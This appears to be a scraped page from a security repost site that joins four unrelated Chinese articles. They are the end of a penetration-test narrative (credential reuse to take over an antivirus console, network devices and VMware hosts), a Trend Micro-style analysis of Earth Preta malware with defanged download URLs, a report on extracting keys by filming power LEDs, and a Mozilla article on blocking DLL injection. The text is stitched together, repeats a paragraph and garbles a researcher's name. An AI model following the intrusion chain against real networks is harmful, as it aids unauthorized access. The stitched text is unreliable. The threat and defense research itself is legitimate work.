0x05 细节定成败
通过搜集进程信息和端口信息,发现内网存在金山杀毒,访问发现版本为v9(上传已修复)

细节来啦,在前面测公众号时,发现一处账户密码,便随手记录了下来


分析规律后手动重组几个账户密码,拿来碰撞金山杀毒,又是一发入魂,精准打击,成功拿下

古人云:”内网之,得集控者得天下“。至此,虽已足够让该单位内网沦陷,但还不够完美,总感觉还少了什么,所以还得继续冲
通过组装后的密码,拿下上文的H3C网络设备,发现我直接成为了网络管理员,清楚了所有的路由走向和网络策略,嘿嘿嘿

细心的师傅其实已经发现了,内网还存在vmware(上诉某图片的webtitle),那肯定也不能放过她,是吧,嘿嘿嘿
通过历史漏洞成功拿下,发现部署了核心生产系统,但是居然历史漏洞都没补

getshell --> 拿data.mdb --> 解密 --> 获取cookie --> 进后台

其他都是一些零零碎碎的东西了,没啥技术含量,想必各位师傅也不喜欢,那么就到此为止吧,再打就不礼貌了
0x06 攻击路线


0x07 最后的话
文章内容有不合理或者不理解的地方,欢迎评论,咱们共同交流共同进步
文章内容有不合法或者侵权的地方,欢迎指出,核实后将立马删除本文



转载于原文链接: https://mp.weixin.qq.com/s/cixtFPn__YPe1XtpcTE2Ow?scene=25#wechat_redirect
HireHackking

標題:揭開Earth Preta最新的工作原理

本文將介紹Earth Preta APT組織利用的最新工具、技術和程序(TTP)的更多技術細節。介紹在2022年11月,趨勢科技的研究人員就披露了由高級持續性威脅(APT)組織Earth Preta(也稱為Mustang Panda)發起的大規模網絡釣魚活動。該活動通過魚叉式網絡釣魚電子郵件針對亞太地區的多個國家。自2023年初以來,該組織正在使用新的方法,例如MIROGO和QMAGENT。
此外,研究人員還新發現了一個名為TONEDROP的釋放程序,它可以釋放TONEINS和TONESHELL惡意軟件,根據觀察,該組織正在將其目標擴展到不同的地區,如東歐和西亞,再加上亞太地區的幾個國家,如緬甸和日本。
通過追踪分析惡意軟件和下載網站,研究人員試圖找到攻擊者用來繞過不同安全解決方案的工具和技術。例如,研究人員收集了部署在惡意下載網站上的腳本,這使他們能夠弄清楚它們的工作原理。研究人員還觀察到,Earth Preta向不同的受害者提供不同的有效負載。
受害者研究從2023年1月開始,研究人員就觀察到幾波針對不同地區個人的魚叉式網絡釣魚電子郵件。

魚叉式網絡釣魚郵件收件人的國家分佈
研究人員還能根據目標行業對受害者進行細分。如下圖所示,大多數目標自電信行業。

魚叉式網絡釣魚郵件收件人的行業分佈
2023年,研究人員使用了新的攻擊指標監測了Earth Preta,包括MIROGO、QMAGENT和名為TONEDROP的新TONESHELL釋放程序。
同樣,這些攻擊鏈也發生了變化。例如,除了部署合法的Google Drive下載鏈接外,攻擊者還使用其他類似但實際上不是Google Drive頁面的下載網站。

2023年的事件時間線
Backdoor.Win32.QMAGENT2023年1月左右,研究人員發現QMAGENT惡意軟件通過魚叉式網絡釣魚電子郵件傳播,目標是與政府組織有關的個人。 QMAGENT(也稱為MQsTTang)最初是在ESET的一份報告中披露,值得注意的是,它利用了物聯網(IoT)設備中常用的MQTT協議來傳輸數據和命令。由於上述報告詳細描述了惡意軟件的技術細節,我們在此不再贅述。然而,研究人員認為所使用的協議值得進一步調查。
Backdoor.Win32.MIROGO2023年2月,研究人員發現了另一個用Golang編寫的名為MIROGO的後門,Check Point Research首次將其報告為TinyNote惡意軟件。研究人員注意到,它是通過一封嵌入Google Drive鏈接的釣魚電子郵件發送的,然後下載了一個名為Note-2.7z的壓縮文件。該壓縮文件受密碼保護,密碼在電子郵件正文中提供。提取後,研究人員發現了一個偽裝成發給政府的可執行文件。

MIROGO攻擊流程
Trojan.Win32.TONEDROP2023年3月,研究人員發現了一個名為TONEDROP的新釋放程序,它可以釋放TONEINS和TONESHELL惡意軟件。它的攻擊鏈與之前報告中介紹的相似,涉及隱藏被異或的惡意二進製文件的虛假文件。
在接下來的幾個月裡,研究人員發現該組織還在使用這個釋放程序。在研究人員的調查過程中,他們發現了TONESHELL後門的一個新變體。

釋放程序流程

TONEDROP中的文件
在釋放和安裝文件之前,TONEDROP將檢查文件夾C:\ProgramData\LuaJIT是否存在,以確定環境是否已經被破壞。它還將檢查正在運行的進程和窗口是否與惡意軟件分析工具有關。如果是這樣,它將不會繼續其例行程序。

檢查正在運行的進程和窗口
如果所有條件都滿足了,它將開始安裝過程並釋放幾個文件。這些文件嵌入到釋放程序中,並使用異或密鑰解密。

釋放的文件和用於解密它們的異或密鑰
被釋放後,WaveeditNero.exe將側載waveedit.dll並解密其他兩個偽造的PDF文件:
它用XOR密鑰0x36解密C:\users\public\last.pdf,並將其寫入C:\users\public \documents\WinDbg(X64).exe。
它用XOR密鑰0x2D解密C:\users\public\update.pdf,並將其寫入C:\users\public\documents\ libvcl .dll。
TONEDROP將為進程C:\users\public\documents\WinDbg(X64).exe設置一個計劃任務,它將繞過加載C:\users\public\documents\ libvcl .dll。接下來,它將通過調用具有回調函數的API EnumDisplayMonitors來構造惡意負載並在內存中運行它。
TONESHELL變體D的CC協議研究人員發現了TONESHELL的一個新變體,它具有如下命令和控制(CC)協議請求數據包格式:

加密後發送數據的內容
CC協議類似於PUBLOAD和其他TONESHELL變體所使用的協議。研究人員將其歸類為TONESHELL變體D,因為它還使用CoCreateGuid來生成唯一的受害者ID,這與舊的變體類似。
在第一次握手中,有效負載應該是一個0x221字節長的緩衝區,其中包含加密密鑰和唯一受害者ID。表4顯示了有效負載的結構。請注意,字段type、victim_id和xor_key_seed在發送緩衝區之前使用xor_key進行加密。

發送數據的內容
研究人員發現該惡意軟件將victim_id的值保存到文件%USERPROFILE%\AppData\Roaming\Microsoft\Web.Facebook.config中。

第一次握手中的有效負載
CC通信協議的工作原理如下:
1.將包含xor_key和victim_id的握手發送到CC服務器;
2.接收由魔術組成並且具有0x02大小的5字節大小的數據包;
3.接收到一個用xor_key解密的2字節大小的數據包,該數據包的第一個字節必須為0x08;
4.接收到由魔術和下一個有效負載大小組成的數據。
5.使用xor_key接收並解密數據。第一個字節是命令代碼,下面的數據是額外的信息。

CC通信

命令代碼
虛假Google Drive網站2023年4月,研究人員發現了一個傳播QMAGENT和TONEDROP等惡意軟件類型的下載網站。當研究人員請求URL時,它下載了一個名為Documents.rar的下載文件,其中包含一個原來是QMAGENT示例的文件。

下載網站的截圖
雖然這個頁面看起來像Google Drive下載頁面,但它實際上是一個試圖偽裝成普通網站的圖片文件(gdrive.jpg)。在源代碼中,它運行腳本文件,它將下載文件Document.rar。

嵌入下載網站的惡意腳本
2023年5月,Earth Preta連續傳播了具有不同路徑的同一下載網站來部署TONESHELL,例如https://rewards[.]roshan[.]af/aspnet_client/acv[.]htm。在這個版本中,攻擊者用另一段JavaScript混淆了惡意URL腳本,如下圖所示。

該頁面的源代碼

解碼後的惡意腳本URL
最後,腳本jQuery.min.js將從https://rewards.roshan[.]af/aspnet_client/Note-1[.]rar下載歸檔文件。

jQuery.min.js腳本
技術分析在調查過程中,研究人員嘗試了幾種方法來追踪事件,並將所有指標聯繫在一起。研究人員的發現可以概括為三個方面:代碼相似性、CC連接和糟糕的操作安全性。
代碼相似性研究人員觀察到MIROGO和QMAGENT惡意軟件之間有一些相似之處。由於檢測次數有限,研究人員認為這兩種工具都是Earth Preta開發的,且它們都是用兩種不同的編程語言實現了類似的CC協議。

MIROGO和QMAGENT惡意軟件的異同
CC 通信惡意軟件QMAGENT使用MQTT協議傳輸數據。經過分析,研究人員意識到所使用的MQTT協議沒有加密,也不需要任何授權。由於MQTT協議中的獨特“特性”(一個人發布消息,其他所有人接收消息),研究人員決定監控所有消息。他們製作了一個QMAGENT客戶端,看看有多少受害者被盯上了。經過長期監測,研究人員製作瞭如下統計表:

QMAGENT通信
主題名稱iot/server0用於檢測分析或調試環境,因此受害者數量最少。 3月份的峰值最高,因為ESET報告是在3月2日發布的,這個峰值涉及自動化系統(沙箱和其他分析系統)的激活。因此,研究人員決定將峰值分解成更小的範圍。

QMAGENT受害者
來自QMAGENT惡意軟件的CC請求JSON體包含一個Alive密鑰,該密鑰是惡意軟件的正常運行時間(以分鐘為單位)。

QMAGENT受害者活動時間
研究人員將前10個的運行時間分為三類:473秒、200秒和170秒。由於涉及許多分析系統,研究人員認為這些時間是不同沙盒的一些常見的超時設置。例如,CAPEv2沙箱中的默認超時設置正好是200秒。

CAPEv2中的默認超時設置
操作安全性差調查中,研究人員收集了幾個惡意壓縮文件的下載鏈接。研究人員注意到,攻擊者不僅傳播了Google Drive鏈接,還傳播了由不同雲提供商託管的其他IP地址。以下是研究人員最近觀察到的一些下載鏈接:

很明顯,url中的路徑遵循幾種模式,例如/fav/xxxx或/f/xx。在檢查url時,研究人員還發現xx模式與受害者相關(這些模式是他們的國家代碼)。在調查下載網站80[.]85[.]156[.]]151(由Python的SimpleHTTPServer託管),研究人員發現它在端口8000上有一個打開的目錄,其中託管了大量的數據和腳本。

開放目錄漏洞
下載網站中的重要文件如下:

打開目錄中的文件
接下來,我們將介紹部署在服務器上的腳本文件。
Firewall: fw.shEarth Preta使用腳本文件fw.sh來阻止來自特定IP地址的傳入連接。禁止訪問的IP地址列在文件blacklist.txt中。該組織似乎有意使用python請求、curl和wget阻止來自某些已知爬蟲和某些已知安全提供程序的傳入請求。研究人員認為該組織正在試圖阻止該網站被掃描和分析。

“fw.sh”腳本

blacklist.txt中列出的一些IP地址
主服務器:app.py主腳本文件app.py用於託管web服務器並等待來自受害者的連接。它處理以下URL路徑:

下載網站的URL路徑
下載網站的根路徑如下圖所示。它顯示一條虛假信息,冒充來自谷歌。

網站的根頁面
同時,webchat函數/webchat允許兩個用戶在同一頁面上相互通信。登錄用戶名和密碼在源代碼中進行硬編碼,分別為john:john和tom:tom。

webchat的登錄界面
登錄後,用戶可以通過WebSocket提交他們的短信,他們收到的所有消息都會顯示在這裡。基於硬編碼的用戶名,研究人員假設“tom”和“john”是相互合作的。

網絡聊天的源代碼
如上所述,研究人員收集的大多數惡意下載URL都遵循特定的模式,如/fav/xxxx或/file/xxxx。根據源代碼,如果請求的User-Agent標頭包含以下任何字符串,則路徑/fav/(依此類推)將下載有效負載Documents.rar:Windows NT 10;
Windows NT 6;
這個壓縮文件被託管在IP地址80[.]85[.]157[.]3上。如果不滿足指定的用戶代理條件,用戶將被重定向到另一個Google Drive鏈接。在撰寫本文時,研究人員無法檢索有效負載,因此無法確定它們是否確實是惡意的。研究人員認為,這是一種向不同受害者提供不同有效負載的機制。

“app.py”中的源代碼
值得注意的是,每個源IP地址、請求標頭和請求URL都會記錄在每個連接上。然後,所有日誌文件都存儲在/static文件夾中。
The logging files: /static“/static”文件夾包含大量的日誌文件,這些文件似乎是由攻擊者手動更改的。在撰寫本文時,日誌文件記錄了2023年1月3日至2023年3月29日的日誌。當研究人員找到它們的時候,文件夾裡有40個日誌文件。
HireHackking
通過使用iPhone 或商業監控系統中的攝像頭來恢復存儲在智能卡和智能手機中的加密密鑰,以視頻記錄顯示讀卡器或智能手機何時打開的電源LED。通過仔細監控功耗、聲音、電磁輻射或操作發生所需時間等特性,攻擊者可以收集足夠的信息來恢復支持加密算法安全性和機密性的密鑰。如今,黑客可以通過近20米外的視頻錄製電源LED竊取加密密鑰。

左圖是智能卡讀卡器正在處理插入智能卡的加密密鑰,右圖是一個監控攝像頭從近20米外的地方記錄下讀取器的電源LED
研究人員最近發現了一種新的攻擊方法,通過使用iphone或商業監控系統中的攝像頭,記錄下讀卡器或智能手機打開時顯示的電源LED,可以恢復存儲在智能卡和智能手機中的秘密加密密鑰。
這些攻擊提供了一種利用兩個先前披露的側信道的新方法,側信道攻擊(side channel attack 簡稱SCA),又稱側信道攻擊,核心思想是通過加密軟件或硬件運行時產生的各種洩漏信息獲取密文信息。在狹義上講,側信道攻擊特指針對密碼算法的非侵入式攻擊,通過加密電子設備在運行過程中的側信道信息洩露破解密碼算法,狹義的側信道攻擊主要包括針對密碼算法的計時攻擊、能量分析攻擊、電磁分析攻擊等,這類新型攻擊的有效性遠高於密碼分析的數學方法,因此給密碼設備帶來了嚴重的威脅。在本例中,通過仔細監控功耗、聲音、電磁發射或操作發生所需的時間等特徵,攻擊者可以收集足夠的信息來恢復支撐加密算法安全性和機密性的密鑰。
側信道開發過程最近發現的側信道分別是Minerva和Hertzbleed,分別於2019年和2022年被發現。 Minerva能夠通過在一個稱為標量乘法的加密過程中測量時序模式來恢復美國政府批准的智能卡的256位密鑰。 Hertzbleed允許攻擊者通過測量英特爾或AMD CPU執行某些操作的功耗來恢復後量子SIKE加密算法使用的私鑰。考慮到一個使用時間測量,另一個使用電源測量,Minerva被稱為定時側信道,而Hertzbleed可以被視為電源側信道。
研究人員最近公佈了一項新研究,展示了一種利用這些側信道的新方法。第一種攻擊使用連接互聯網的監控攝像頭在加密操作期間拍攝智能卡讀卡器上電源LED或連接的外圍設備的高速視頻。這項技術使研究人員能夠從Minerva使用的同一張政府批准的智能卡上提取256位ECDSA密鑰。另一種方法使研究人員能夠通過在連接到手機的USB揚聲器的電源LED上訓練iPhone 13的攝像頭來恢復三星Galaxy S8手機的專用SIKE密鑰,類似於Hertzbleed從英特爾和AMD CPU上獲取SIKE密鑰的方式。
電源led用於指示設備何時打開,它們通常會發出藍色或紫色的光,亮度和顏色會根據所連接設備的功耗而變化。
這兩種攻擊都有局限性,使得它們在許多現實場景中不可行。儘管如此,已發表的研究還是具有開創性的,因為它提供了一種全新的方式來促進側信道攻擊。不僅如此,新方法還消除了阻礙現有方法利用側信道的最大障礙,即需要示波器、電探針或其他物體等儀器接觸或靠近被攻擊的設備。
在Minerva的示例中,為了讓研究人員收集足夠精確的測量數據,智能卡讀卡器的主機必須被攻破。相比之下,Hertzbleed並不依賴於受攻擊的設備,而是花了18天的時間與易受攻擊的設備進行持續交互,以恢復私鑰。要攻擊許多其他側信道,例如第二次世界大戰加密電傳終端中的側信道,攻擊者必須在目標設備上或附近安裝專用且通常昂貴的儀器。
近期發布的基於視頻的攻擊減少或完全消除了此類要求,要想竊取存儲在智能卡上的私鑰,只需要在距離目標讀卡器20米遠的地方安裝一個聯網的監控攝像頭。三星Galaxy手機的側信道攻擊可以通過已經在同一個房間裡的iPhone 13攝像頭來執行。
本文的亮點就是你不需要連接探測器、連接示波器或使用軟件定義的無線電。該方法沒有攻擊性,你可以使用智能手機等普通或流行的設備來實施攻擊。對於連接互聯網的攝像機來說,你甚至不需要接近物理場景就可以實施攻擊,這是軟件定義的無線電或連接探針或類似物無法做到的。
與傳統的側信道攻擊相比,該技術還有另一個好處:精確性和準確性。 Minerva和Hertzbleed等攻擊通過網絡洩露信息,這會引入延遲並增加噪聲,而這些噪聲必須通過從大量操作中收集數據來補償。這一限制導致Minerva攻擊需要目標設備被破壞,而Hertzbleed攻擊需要18天時間。
使用捲簾快門(rolling shutter)令許多人驚訝的是,一台記錄電源LED的標準攝像機提供了一種數據收集方式,對於測量通過側信道洩漏的信息來說,這種方式要高效得多。當CPU執行不同的加密操作時,目標設備消耗不同的電量。這些變化會導致設備或連接到設備的外圍設備的電源LED的亮度變化,有時還會導致顏色變化。
為了足夠詳細地捕捉LED的變化,研究人員啟動了新型相機中可用的捲簾快門。捲簾快門是一種圖像捕捉形式,在某種程度上類似於延時攝影。它以垂直、水平或旋轉的方式逐行快速記錄幀。傳統上,相機只能以其幀速率拍攝照片或視頻,幀速率最高可達每秒60至120幀。

該說明了捲簾快門捕捉旋轉光盤背後的原理
激活捲簾快門可以提高采樣率,每秒收集大約60,000個測量值。研究人員在設備執行加密操作時,將當前打開或連接在設備上的電源LED完全填充到一個框架中,利用捲簾快門,使攻擊者有可能收集到足夠的細節來推斷存儲在智能卡、手機或其他設備上的密鑰。
這是可能的,因為設備的電源LED的強度/亮度與其功耗相關,因為在許多設備中,電源LED直接連接到電路的電源線,缺乏有效的手段(例如,濾波器,電壓穩定器)來解耦相關性。
研究人員實證分析了視頻攝像機的靈敏度,並表明它們可以用於進行密碼分析,原因有兩個,一是設備的電源LED的視頻片段的單個RGB通道的有限8位分辨率(256值的離散空間)足以檢測由加密計算引起的設備功耗差異,二是攝像機的捲簾快門可以利用視頻片段中電源LED的強度/亮度的採樣率提高到執行密碼分析所需的水平,即將視頻片段中電源LED的強度/亮度的測量次數(採樣率)增加三個數量級,從FPS速率(每秒提供60-120次測量)到捲簾快門速率(在iPhone 13 Pro Max中每秒提供6萬次測量),通過縮放目標設備電源LED上的攝像機,使LED的視圖填充整個視頻片段。這樣,可以使用攝像機作為專業專用傳感器的遠程攻擊替代品,這些傳感器通常用於密碼分析(例如,示波器、軟件定義的無線電)。
視頻1和視頻2分別顯示了智能卡讀卡器和三星Galaxy手機在執行加密操作時的視頻捕獲過程。用肉眼看,這段視頻看起來沒什麼特別的。
但是,通過分析綠色通道中不同RGB值的視頻幀,攻擊者可以識別加密操作的起止進程。
一些限制條件研究中假設的威脅模型是,目標設備正在創建數字簽名或在設備上執行類似的加密操作。該設備具有標准開/關類型1或指示電源類型2電源LED,其保持恆定顏色或響應觸發的加密操作時改變顏色。如果設備沒有1型或2型電源LED,則必須連接到有此功能的外圍設備。這些電源LED的亮度或顏色必須與設備的功耗相關。
攻擊者是一個惡意實體,可以在加密操作發生時持續錄製設備或外圍設備(如USB揚聲器)的電源LED。在智能卡讀卡器的示例中,攻擊者首先通過攻擊距離讀卡器電源LED近20米遠的監控攝像頭來獲取視頻。攝像頭被劫持的前提是,攻擊者必須能夠控制攝像頭的縮放和旋轉。考慮到許多聯網攝像機被研究人員、現實世界的殭屍網絡運營商和其他攻擊者主動攻擊的示例,目前假設條件並不是一個特別高的要求。
當攝像頭在近20米遠的地方時,房間的燈必須關閉,但如果監控攝像頭在大約2米遠的位置時,則可以打開燈。攻擊者也可以用iPhone記錄智能卡讀卡器的電源LED。視頻必須持續運行65分鐘,在此期間,閱讀器必須不斷地執行操作。
對於三星Galaxy,攻擊者必須能夠在相當近的距離內記錄USB連接揚聲器的電源LED,同時手機執行SIKE簽名操作。
攻擊假設存在一個現有的側信道,該信道在執行加密操作時洩露設備的功耗、時間或其他物理表現。插入讀卡器的智能卡使用了一個代碼庫,該代碼庫尚未針對Minerva攻擊進行修補。三星Galaxy使用的一個庫仍然容易受到Hertzbleed.的攻擊,很可能在未來發現的一些側通道也會允許此類攻擊。
威脅模型極大地限制了當前攻擊的工作場景,因此攻擊不太可能針對軍事基地或其他高安全設置中使用的讀卡器。
這是因為讀卡器本身很可能是修復過的,即使沒有被修復,在這些環境中發給員工的智能卡也會每隔幾年輪換一次,以確保它們包含最新的安全更新。即使讀卡器和智能卡都容易受到攻擊,讀卡器也必須在整整65分鐘內持續處理卡,這在安全檢查中的標準刷卡過程中是不可能實現的。
但並非所有設置都受到如此嚴格的限制。這六種智能卡讀卡器都可以在亞馬遜上買到,並且與美國軍方使用的通用門禁卡(稱為cac)兼容。其中四個閱讀器的廣告上寫著“國防部”、“軍隊”或兩者兼而有之。軍方或政府人員在遠程登錄非機密網絡時使用這種讀卡器均屬正常。
一般來說,只要你的操作系統支持特定的製造商和型號,訪問國防部資源需滿足兩個條件即可,1.為操作系統安裝了當前的根和國防部CA,以信任你的智能卡證書和你連接的網站/服務的證書,2.有問題的資源可以從公共互聯網直接訪問而不是先連接內部VPN。公司、州或地方政府以及其他組織則沒有那麼多限制。
三星Galaxy攻擊的另一個限制是,在發現一種使用複雜數學和一台傳統PC來恢復保護加密交易的密鑰攻擊後,SIKE算法被進行了限制。
對於此假設攻擊,三星進行了回复:
我們可以確認,研究人員在Galaxy S8上開發的假設攻擊已於2022年向我們報告,經過審查,並被視為低風險,因為我們的設備上沒有使用特定的算法。消費者隱私至關重要,我們將對所有設備保持最高標準的安全協議。
研究人員丹尼爾马云惹不起马云格魯斯(Daniel Gruss)說,儘管這種攻擊目前還處於理論層面,但研究結果絕對是有趣和重要的,特別是在發現了Hertzbleed和Platypus的類似攻擊之後。與Platypus、Hertzbleed等相關攻擊越來越多,關鍵是電源側信道攻擊可以洩露的信息非常多。隨著基於遠程軟件的攻擊或本文提出的基於視頻錄製/空氣間隙的攻擊,攻擊成功率提高了很多。另外,許多研究人員都觀察到,隨著新技術和漏洞的發現,攻擊只會隨著時間的推移而變得更易實現。從硬件發展角度來講,現在某些限制的因素,比如攝像機,未來隨著設備快速發展,幾年後本文講的理論上的攻擊可能會增加攻擊範圍或縮短攻擊所需的時間。
研究人員還對當今基於視頻的密碼分析的真正潛力表示擔憂。在本文所說的研究中,他們專注於常用和流行的攝像機,以演示基於視頻的密碼分析,即一個RGB通道的8位空間、全高清分辨率和支持的最大快門速度。然而,新版本的智能手機已經支持10位分辨率的視頻片段,例如,iPhone 14 Pro MAX和三星Galaxy S23 Ultra。此外,分辨率為12-14位的專業攝像機已經存在,2樣的攝像機可能提供更高的靈敏度,這可能使攻擊者能夠通過電源LED的強度來檢測設備功耗的非常細微的變化。此外,許多互聯網與現有研究中使用的攝像機(25倍)相比,具有更大光學變焦能力的聯網安全攝像機(30倍至36倍)已經存在,並且可能已經廣泛部署。這種安全攝像機可能允許攻擊者從比本文所演示的更遠的距離對目標設備進行基於視頻的密碼分析。最後,新的專業攝像機目前支持1/180,000的快門速度(例如,富士膠片X-H2.3),使用這種攝像機可能允許攻擊者以更高的採樣率獲得測量結果,這可能會使其他設備面臨基於視頻的密碼分析的風險。
研究人員給製造商推薦了幾種對策,以增強設備抵禦基於視頻的密碼分析。其中最主要的是通過集成一個起“低通濾波器”的電容器來避免使用指示電源LED。另一種選擇是在電源線和電源LED之間集成一個運算放大器。
目前尚不清楚受影響設備的製造商是否或何時會添加此類防範措施。目前,建議那些不確定自己的設備是否存在漏洞的人應該考慮在電源LED上貼上不透明的膠帶。
HireHackking

標題:如何在Firefox中阻止第三方DLL注入

在Windows上,第三方產品有多種方式將其代碼注入其他正在運行的進程。這樣做的原因有很多,最常見的是殺毒軟件、硬件驅動程序、屏幕閱讀器和銀行的需要,當然惡意軟件也會趁機而入。
將第三方產品的DLL注入Firefox進程是非常常見的,超過70%的Windows用戶至少有一個這樣的DLL!需要明確的是,這意味著沒有經過Mozilla或操作系統部分數字簽名的任何DLL。
大多數用戶不在Windows上,第三方產品有多種方式將其代碼注入其他正在運行的進程。這樣做的原因有很多,最常見的是殺毒軟件、硬件驅動程序、屏幕閱讀器和銀行的需要,當然惡意軟件也會趁機而入。
將第三方產品的DLL注入Firefox進程是非常常見的,超過70%的Windows用戶至少有一個這樣的DLL!需要明確的是,這意味著沒有經過Mozilla或操作系統部分數字簽名的任何DLL。
大多數用戶不知道DLL何時被注入Firefox,因為大多數時候除了檢查about:third-party page.之外,沒有明顯的跡象表明正在發生這種情況。
不過,將DLL注入Firefox可能會導致性能、安全性或穩定性問題。原因如下:
1.DLL通常會掛鉤到Firefox的內部函數中,這些函數會隨著版本的不同而變化。所以,第三方產品的發行商必須努力使用新版本的Firefox進行測試,以避免穩定性問題。
2.Firefox作為一種網絡瀏覽器,可以從不受信任和潛在的惡意網站加載並運行代碼。所以,安全研究人員需要付出很多努力來保護Firefox的安全,第三方產品可能對安全性沒有這麼關注。
3.研究人員在Firefox上運行了大量的測試,第三方產品可能不會測試到這種程度,因為它們可能不是專門為配合Firefox而設計的。
事實上,我們的數據顯示,在所有Windows上的Firefox崩潰報告中,只有2%以上是第三方代碼造成的。儘管Firefox已經阻止了許多已知會導致崩潰的特定第三方DLL,但情況依然如此。
這也低估了由第三方DLL間接引起的崩潰,因為研究人員的指標只在調用堆棧中直接查找第三方DLL。此外,第三方DLL在啟動時更容易導致崩潰,這對用戶來說要嚴重得多。
Firefox有第三方注入策略,只要有可能,我們建議第三方使用擴展來集成到Firefox中,因為這是官方支持的,而且更穩定。
為什麼不在默認情況下阻止所有DLL注入?為了獲得最大的穩定性和性能,Firefox可以嘗試阻止所有第三方DLL注入其進程。然而,這會破壞一些有用的產品,比如用戶希望能夠與Firefox一起使用的屏幕閱讀器。這在技術上也很有挑戰性,不可能阻止每個第三方DLL,尤其是使用比Firefox更高權限運行的第三方產品。
自2010年以來,Mozilla已經能夠為Firefox的所有Windows用戶屏蔽特定的第三方DLL。這樣做只是作為最後的手段,在嘗試與供應商溝通以解決潛在問題後,研究人員會盡可能嚴格地進行調整,以使Firefox用戶不再崩潰。目前研究人員只能阻止特定版本的DLL,並且只能在特定的Firefox進程中阻止它。這是一個有用的工具,但只有當特定的第三方DLL導致大量崩潰時,研究人員才會考慮使用它,這樣它就會出現在Firefox崩潰列表中。
即使我們知道第三方DLL會導致Firefox崩潰,但有時DLL提供的功能對用戶來說是必不可少的,用戶不希望安全人員代表他們阻止DLL。如果用戶的銀行或當地政府需要一些軟件來訪問他們的賬戶或報稅,我們屏蔽它不會給他們帶來任何好處,即使屏蔽它會使Firefox更加穩定。
賦予用戶阻止注入DLL的權限在Firefox 110中,用戶可以阻止第三方dll加載到Firefox中。這可以在about:third-party上完成,該頁面已經列出了所有加載的第三方模塊。 about:third-party還顯示了哪些第三方DLL與之前的Firefox崩潰有關,還有就是DLL發布者的信息也會顯示,希望這能讓用戶在知情的情況下決定是否阻止DLL。下面是一個最近導致Firefox崩潰的DLL示例,點擊帶有破折號的按鈕將阻止它:

以下是阻止DLL並重新啟動Firefox後的情況:

如果阻止DLL導致問題,在故障排除模式下啟動Firefox將禁用該運行的Firefox的所有第三方DLL阻止,並且可以像往常一樣在about:third-party上阻止或取消阻止DLL。
工作原理阻止DLL加載到進程中是一項棘手的業務,為了檢測加載到Firefox進程中的所有DLL,必須在啟動過程中儘早設置阻止列表。為此,使用啟動進程,它創建處於掛起狀態的主瀏覽器進程。然後,它設置任何沙盒策略,從磁盤加載阻止列表文件,並在啟動該進程之前將條目複製到瀏覽器進程中。
複製是以一種有趣的方式完成的,啟動程序進程使用CreateFileMapping()創建一個操作系統支持的文件映射對象,在用塊列表條目填充後,複製句柄並使用WriteProcessMemory()將句柄值寫入瀏覽器進程。具有諷刺意味的是,WriteProcessMemory()經常被用作第三方DLL將自己注入其他進程的一種方式,這裡我們使用它在已知位置設置一個變量,因為啟動器進程和瀏覽器進程是從同一個.exe文件運行的!
因為所有的事情都發生在啟動的早期,在加載Firefox配置文件之前,被阻止的dll列表是按Windows用戶而不是按Firefox配置文件存儲的。具體來說,文件位於%AppData%\Mozilla\Firefox中,文件名格式為blocklist-{install hash},其中install hash是Firefox磁盤上位置的哈希值。這是一種簡單的方法,可以將不同Firefox安裝的阻止列表分開。
檢測並阻止加載DLL為了檢測DLL何時試圖加載,Firefox使用了一種稱為函數攔截或掛鉤的技術。這會修改內存中的現有函數,以便在現有函數開始執行之前可以調用另一個函數。之所以如此,原因有很多,它允許更改函數的行為,即使函數不是為了允許更改而設計的。 Microsoft Detours是一種常用於攔截函數的工具。
在Firefox中,研究人員感興趣的函數是NtMapViewOfSection(),每當加載DLL時都會調用它。我們的目標是在發生這種情況時得到通知,這樣我們就可以檢查阻止列表,並禁止加載DLL(如果它在阻止列表上)。
為此,Firefox使用一個自定義的函數攔截器來攔截對NtMapViewOfSection()的調用,並返回如果DLL在阻止列表上則映射失敗的消息。為此,攔截器嘗試了兩種不同的技術:
在32位x86平台上,從DLL導出的一些函數將以一條不執行任何操作的兩字節指令(mov edi, edi)開始,並且在此(nop或int 3)之前有五條未使用的一字節指令,例如:

如果攔截器檢測到這種情況,它可以將未使用指令的五個字節替換為要調用的函數地址的jmp。由於研究人員是在32位平台上,因此只需要一個字節來指示跳轉,四個字節來表示地址,因此:

當修復的函數想要調用未修復版本的DLLFunction()時,它只需跳過DLLFunction()地址2個字節即可啟動實際的函數代碼
否則,事情會變得更加複雜。以x64的情況為例。跳轉到已修復函數的指令需要13個字節:10個字節用於將地址加載到寄存器中,3個字節用於跳轉到該寄存器的位置。因此,攔截器需要將至少前13字節的指令移動到一個蹦床函數中,如果需要的話,還要加上完成最後一條指令所需的足夠的字節。之所以被稱為蹦床,因為通常代碼會跳轉到那裡,這會導致一些指令運行,然後跳轉到目標函數的其餘部分。讓我們看看一個真實的示例,下面是我們要截取的一個簡單函數,首先是C源代碼(Godbolt編譯器資源管理器鏈接):

以上是用-O3編譯的,所以它有點密集:

現在,從fn()開始計算13個字節將我們置於lea eax,[rdi+rdi*2]指令的中間,因此我們必須將所有內容複製到蹦床上。
最終結果如下所示:

如果Firefox 修復函數想要調用未修復的fn(),那麼修復程序已經存儲了蹦床的地址(在本例中為0x3000000)。在C++代碼中,我們將其封裝在FuncHook類中,修復後的函數可以使用與普通函數調用相同的語法來調用蹦床。
整個過程比第一種情況要復雜得多,你可以看到第一個示例的修復只有200行左右,而處理這個示例的修復有1700多行,不過有些注意事項要注意:
1.並非所有轉移到蹦床上的指令都必須保持完全相同,一個示例是跳轉到一個沒有移動到蹦床的相對地址,由於指令已經在內存中移動了,修復程序需要用絕對跳躍來代替它。修復程序並不能處理所有類型的x64指令,否則它必須更長!但研究人員已經進行了自動化測試,以確保能夠成功攔截所知道Firefox需要的Windows函數。
2.研究人員專門使用了r11來加載修復函數的地址,因為根據x64調用約定,r11是一個不需要被調用方保存的易失性寄存器。
3.由於我們使用jmp從fn()返回到修復函數,而不是ret,並且類似地從蹦床返回到fn()的主代碼,這使代碼堆棧保持中立。因此,調用其他函數和從fn()返回都可以正確地處理堆棧的位置。
4.如果從fn()的後面跳轉到前13個字節,這些字節現在將跳轉到修復函數的中間,肯定會發生問題。幸運的是,這是非常罕見的。大多數函數在開始時都在進行函數序言操作,所以對於Firefox攔截的函數來說,這不是問題。
5.類似地,在某些情況下,fn()在前13個字節中存儲了一些數據,這些數據將被後面的指令使用,將這些數據移動到蹦床將導致後面的指令獲得錯誤的數據。我們已經遇到了這個問題,如果我們可以在前2GB的地址空間內為蹦床分配空間,那麼可以通過使用較短的mov指令來解決這個問題。這將導致10字節的修復而不是13字節的修復,在許多情況下,這足以避免問題。
其他一些需要注意的複雜情況:
6.Firefox也有一種跨進程攔截的方法;
